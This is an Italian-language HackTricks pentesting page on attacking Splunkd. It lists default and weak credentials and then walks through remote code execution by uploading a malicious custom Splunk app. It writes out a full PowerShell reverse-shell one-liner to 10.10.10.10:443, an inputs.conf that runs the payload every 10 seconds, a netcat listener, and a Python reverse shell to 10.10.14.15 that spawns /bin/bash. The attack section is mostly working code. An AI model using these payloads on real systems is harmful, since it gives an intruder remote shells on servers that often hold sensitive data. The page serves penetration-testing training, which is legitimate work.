8.7 KiB
8089 - Pentesting Splunkd
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Informazioni di base
Splunk è uno strumento di analisi dei log che svolge un ruolo cruciale nel raccogliere, analizzare e visualizzare i dati. Sebbene il suo scopo iniziale non fosse quello di fungere da SIEM (Security Information and Event Management), ha guadagnato popolarità nel campo del monitoraggio della sicurezza e dell'analisi aziendale.
Le implementazioni di Splunk sono frequentemente utilizzate per memorizzare dati sensibili e possono servire come una fonte preziosa di informazioni per potenziali attaccanti se riescono a compromettere il sistema. Porta predefinita: 8089
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
{% hint style="info" %} Il server web di Splunk è in esecuzione per impostazione predefinita sulla porta 8000. {% endhint %}
Enumerazione
Versione Gratuita
La prova di Splunk Enterprise si trasforma in una versione gratuita dopo 60 giorni, che non richiede autenticazione. Non è raro che gli amministratori di sistema installino una prova di Splunk per testarlo, che viene successivamente dimenticata. Questo si trasformerà automaticamente nella versione gratuita che non ha alcuna forma di autenticazione, introducendo una falla di sicurezza nell'ambiente. Alcune organizzazioni possono optare per la versione gratuita a causa di vincoli di budget, senza comprendere appieno le implicazioni di non avere gestione degli utenti/ruoli.
Credenziali Predefinite
Nelle versioni più vecchie di Splunk, le credenziali predefinite sono admin:changeme
, che sono convenientemente visualizzate sulla pagina di accesso.
Tuttavia, l'ultima versione di Splunk imposta le credenziali durante il processo di installazione. Se le credenziali predefinite non funzionano, vale la pena controllare password deboli comuni come admin
, Welcome
, Welcome1
, Password123
, ecc.
Ottenere Informazioni
Una volta effettuato l'accesso a Splunk, possiamo sfogliare i dati, eseguire report, creare dashboard, installare applicazioni dalla libreria Splunkbase e installare applicazioni personalizzate.
Puoi anche eseguire codice: Splunk ha più modi di eseguire codice, come applicazioni Django lato server, endpoint REST, input scriptati e script di allerta. Un metodo comune per ottenere l'esecuzione remota di codice su un server Splunk è attraverso l'uso di un input scriptato.
Inoltre, poiché Splunk può essere installato su host Windows o Linux, possono essere creati input scriptati per eseguire script Bash, PowerShell o Batch.
Shodan
Splunk build
RCE
Crea Applicazione Personalizzata
Un'applicazione personalizzata può eseguire script Python, Batch, Bash o PowerShell.
Nota che Splunk viene fornito con Python installato, quindi anche nei sistemi Windows sarai in grado di eseguire codice python.
Puoi utilizzare questo pacchetto Splunk per assisterci. La directory bin
in questo repo ha esempi per Python e PowerShell. Procediamo passo dopo passo.
Per ottenere questo, dobbiamo prima creare un'applicazione Splunk personalizzata utilizzando la seguente struttura di directory:
tree splunk_shell/
splunk_shell/
├── bin
└── default
La bin
directory conterrà eventuali script che intendiamo eseguire (in questo caso, una PowerShell reverse shell), e la directory predefinita avrà il nostro file inputs.conf
. La nostra reverse shell sarà un PowerShell one-liner:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
Il file inputs.conf indica a Splunk quale script eseguire e altre condizioni. Qui impostiamo l'app come abilitata e diciamo a Splunk di eseguire lo script ogni 10 secondi. L'intervallo è sempre in secondi e l'input (script) verrà eseguito solo se questa impostazione è presente.
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
Dobbiamo il file .bat
, che verrà eseguito quando l'applicazione viene distribuita ed eseguirà il comando PowerShell.
Il passo successivo è scegliere Install app from file
e caricare l'applicazione.
Prima di caricare l'app personalizzata malevola, iniziamo un listener utilizzando Netcat o socat.
sudo nc -lnvp 443
listening on [any] 443 ...
Sulla pagina Upload app
, clicca su browse, scegli il tarball che abbiamo creato in precedenza e clicca su Upload
. Appena carichiamo l'applicazione, una reverse shell viene ricevuta poiché lo stato dell'applicazione verrà automaticamente cambiato in Enabled
.
Linux
Se stessimo trattando un host Linux, dovremmo modificare lo script Python rev.py
prima di creare il tarball e caricare l'app personalizzata malevola. Il resto del processo sarebbe lo stesso, e otterremmo una connessione reverse shell sul nostro listener Netcat e saremmo pronti a partire.
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
RCE & Privilege Escalation
Nella pagina seguente puoi trovare una spiegazione su come questo servizio può essere abusato per elevare i privilegi e ottenere persistenza:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}
Riferimenti
{% hint style="success" %}
Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.